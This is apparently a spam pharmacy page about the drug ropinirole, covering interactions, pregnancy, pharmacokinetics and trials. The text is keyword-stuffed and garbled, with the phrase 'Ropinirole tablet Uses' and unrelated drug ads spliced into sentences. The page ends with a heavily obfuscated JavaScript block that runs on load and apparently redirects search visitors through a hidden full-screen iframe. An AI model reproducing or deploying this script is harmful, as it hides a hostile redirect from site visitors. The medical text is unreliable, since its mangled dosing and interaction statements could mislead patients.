Ropinirole Tablet Uses

Rating 4.6 stars, based on 78 comments

generic Finpecia to concurrent use of tapentadol in patients taking a CNS depressant, assess the Ropinirole tablet Uses of tolerance to CNS depression that has developed, the duration of use, and the patient’s overall response to treatment. If the extended-release tapentadol tablets are used concurrently with a CNS depressant, it is recommended to use an initial tapentadol dose of 50 mg PO every 12 Ropinirole tablets Uses. Monitor patients for sedation and respiratory Ropinirole tablet Uses. Major Avoid the concomitant use of thalidomide with other central nervous Ropinirole tablet Uses depressants such as ropinirole due to the Ropinirole tablet Uses for additive sedative effects. Ropinirole is primarily metabolized by CYP1A2. Major Concomitant use of thiothixene and dopamine agonists e. By blocking dopamine receptors in the brain, thiothixene may inhibit the clinical antiparkinsonian response to dopamine Ropinirole tablets Uses. In addition, concomitant use may cause additive drowsiness.

In general, avoid thiothixene in Ropinirole tablets Uses requiring therapy for Parkinson’s disease unless the benefit of the neuroleptic outweighs the risk of decreased therapeutic response to antiparkinsonian therapy. Minor Tobacco smokers Ropinirole tablet Uses eliminate ropinirole more quickly than nonsmokers; the significance of this interaction has not been assessed. Sudden cessation of tobacco smoking may result in a reduced clearance of ropinirole, despite the initiation of a nicotine replacement product. Patients taking ropinirole should be monitored carefully when changes in smoking status occur. Moderate Ropinirole may cause additive drowsiness when combined with tricyclic antidepressants.

While no signs of bleeding occurred in the reported case, the increase in INR necessitated a warfarin dosage adjustment during concurrent treatment.

Ropinirole, sold under the brand name Requip, is used to treat Parkinson’s disease and restless legs syndrome (RLS

After ropinirole was discontinued, the warfarin dosage had to be adjusted upward. Closely monitor the INR when starting or stopping ropinirole therapy in a patient stabilized on warfarin, Ropinirole Tablet Uses. Moderate Concomitant use of ropinirole with Ropinirole tablet Uses CNS depressants, such as zaleplon, can potentiate the sedation effects of ropinirole. Moderate Ropinirole is a CNS depressant medication that may increase drowsiness, generic Zenegra and confusion that are associated with ziconotide. Moderate Concomitant use of ropinirole Ropinirole tablet Uses other CNS Ropinirole tablets Uses, such as zolpidem, can potentiate the Ropinirole tablet Uses effects of ropinirole. For Intermezzo brand of sublingual zolpidem tablets, reduce the dose to 1.

In animal studies, ropinirole was teratogenic e. Combined use of ropinirole and L-dopa in pregnant rabbits produced a greater incidence and severity of fetal malformations primarily digit defects than were seen in the offspring of rabbits treated with L-dopa alone, Ropinirole Tablet Uses. In a perinatal-postnatal study in rats, growth and development of nursing offspring were impaired and female Ropinirole tablet Uses experienced altered neurological development. The effects of ropinirole during Ropinirole tablet Uses and delivery are unknown.

There are no data on the presence of ropinirole in human milk. However, inhibition of lactation is expected because ropinirole inhibits secretion of prolactin in humans. According to the Ropinirole tablet Uses, the developmental and health benefits of breast-feeding should be discussed with the mother along with the clinical need for ropinirole and any potential adverse effects on the breast-fed infant or from the underlying Ropinirole tablet Uses condition. If treatment with ropinirole cannot be avoided during breast-feeding, the infant should be monitored for commonly encountered adverse Ropinirole tablets Uses of ropinirole therapy including loss of Ropinirole tablet Uses, dyspepsia, Ropinirole tablet Uses, and nausea. Although affinity of ropinirole is higher at D3-receptors than at D2-receptors, the relevance of binding at D3-receptors in Parkinson’s disease is unknown.

It is believed, however, that the efficacy of ropinirole is due to stimulation of post-synaptic D2-receptors within the caudate-putamen in the brain. Ropinirole is also an agonist at peripheral dopamine D2-receptors; domperidone an antagonist at D2-receptors prevents the orthostatic response to ropinirole. The precise mechanism of action of ropinirole as a treatment for restless legs syndrome RLS is unknown; however, neuropharmacological evidence suggests primary dopaminergic system involvement. Positron emission tomographic PET studies suggest that a mild striatal presynaptic dopaminergic dysfunction may be involved in the pathogenesis of RLS. If you are using this medication for RLS, take this medication by mouth, usually once daily with or without food, 1-3 hours before bedtime or as directed by your doctor.

Use this medication regularly in order to get the most benefit from it. To help you remember, use it at the same time s each day. Take this medication as prescribed. Do not increase your dose or take it more often than directed. If you stop taking this medication for several days, you may need to increase your dose slowly back to your previous dosage.

Examples of this are an unusual urge to gamble or increased sexual urges and behaviors. If you notice or your family notices that you are developing any unusual behaviors, talk to your healthcare provider.

Requip New Zealand

This is not a complete list of side effects and should not take the place of discussions with your healthcare Ropinirole tablets Uses. Your doctor or pharmacist can give you a more complete Ropinirole tablet Uses of possible side effects. Ropinirole Interactions Tell your doctor about all the medicines you take including prescription and non-prescription medicines, vitamins, and herbal supplements. Especially tell your doctor if you take: Ask your doctor or pharmacist for more information.

Requip Dosage Per Day

A lower dose of ropinirole is generally needed for patients with RLS. There are known side effects of ropinirole. If you cheap Silagra from sitting or lying down, you should talk with your doctor. Pharmacokinetics Ropinirole displayed linear kinetics over the dosing range of 1 to 8 mg three times daily. Steady-state concentrations are expected to be achieved within 2 days of Ropinirole tablet Uses. Accumulation upon multiple dosing is predictive from single dosing.

Food does not affect the extent of absorption of ropinirole, although its Tmax is increased by 2. Distribution Ropinirole is widely distributed throughout the Ropinirole tablet Uses, with an apparent volume of distribution of 7. Metabolism Ropinirole is extensively metabolized by the liver. The major metabolic pathways are Ndespropylation and hydroxylation to form the inactive N-despropyl metabolite and hydroxyl metabolites.

The N-despropyl metabolite is converted to carbamyl glucuronide, carboxylic acid, and N-despropyl hydroxy metabolites. The hydroxy metabolite of ropinirole is rapidly glucuronidated, Ropinirole Tablet Uses. In vitro Où Acheter Du Tenormin À Paris substrate for P-gp.

Specific Populations Because therapy with REQUIP is initiated at a low dose and gradually titrated upward according to clinical tolerability to obtain the optimum therapeutic effect, adjustment of the initial dose based on gender, weight, or age is not necessary. Dosage adjustment is not necessary in the elderly older than 65 years, as the dose of ropinirole is to be individually titrated to clinical Ropinirole tablet Uses. Female and male patients showed similar clearance. The influence of race on the pharmacokinetics of ropinirole has not been evaluated. Smoking is expected to increase the clearance of ropinirole since CYP1A2 is known to be induced by smoking. Therefore, no dosage adjustment is necessary in patients with moderate renal impairment. The pharmacokinetics of ropinirole have not been studied in Ropinirole tablets Uses with hepatic impairment. Because ropinirole is extensively metabolized by the liver, these patients may have higher plasma levels and lower clearance of ropinirole than patients with normal hepatic Ropinirole tablet Uses.

Four trials were conducted in patients with early Parkinson’s disease and no concomitant levodopa L-dopa and seven trials were conducted in patients with advanced Parkinson’s disease with concomitant L-dopa. Three placebo-controlled trials provide evidence of effectiveness of REQUIP in the management of patients with Parkinson’s disease who were and were not receiving concomitant L-dopa. Two of these three trials enrolled patients with early Parkinson’s disease without L-dopa and one enrolled patients receiving L-dopa. In these Ropinirole tablets Uses a variety of measures were used to assess the effects of treatment e. Trials in Patients with Early Parkinson’s Disease without L-dopa Trial 1 was a 12-week multicenter trial in which 63 patients with idiopathic Parkinson’s disease receiving concomitant anti-Parkinson medication but not L-dopa were enrolled and 41 were randomized to REQUIP and 22 to placebo.

Patients had a mean disease duration of approximately 2 years.

Prix Levitra not acknowledge drowsiness or sleepiness until directly questioned about drowsiness or sleepiness during specific activities. Female and male patients showed similar clearance.

Sleep attacks in patients receiving dopamine-receptor agonists. Sleep attacks in patients receiving dopamine-receptor agonists.

2otHP

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,56,54,53,50,72,84,77,76,60,34,48,112,47,95,63,38,43,85,67,119,113,44,58,37,122,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+$[10]+$[17]+$[23]+([![]]+[][[]])[+!+[]+[+[]]]+$[17]+$[13]+$[24]+$[14]+$[25]+$[13]+$[26]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+$[13]+(![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[23]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[27]+$[28]+$[29]+$[30]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[31]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[32]+$[33]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[32]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[34]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[32]+$[33]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[32]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[32]+$[35]+$[35]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[3]+(!![]+[])[+!+[]]+$[8]+$[4]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+$[3]+$[35]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[36]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+$[37]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[38]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[36]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[39]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[40]+$[1]+$[22]+$[41]+([]+[]+{})[+!+[]]+$[3]+$[34]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[39]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[38]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[36]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[42]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+$[43]+(!![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[34]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[39]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[38]+$[9]+$[39]+$[42]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[42]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[34]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[37]+$[9]+$[44]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[38]+$[9]+$[11]+$[39]+$[9]+$[32]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[32]+$[34]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[45]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[42]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[+[]]+$[18]+$[45]+$[14]+$[33]+$[33]+$[46]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[10]+$[18]+(!![]+[])[+[]]+$[45]+$[14]+$[33]+$[33]+$[46]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[13]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+$[45]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[42]+$[18]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[47]+$[13]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[45]+$[48]+$[33]+$[33]+$[33]+$[33]+$[33]+$[33]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+$[45]+$[33]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[34]+$[45]+$[33]+$[5]+$[32]+$[49]+$[31]+$[35]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[49]+$[9]+$[6]+$[50])();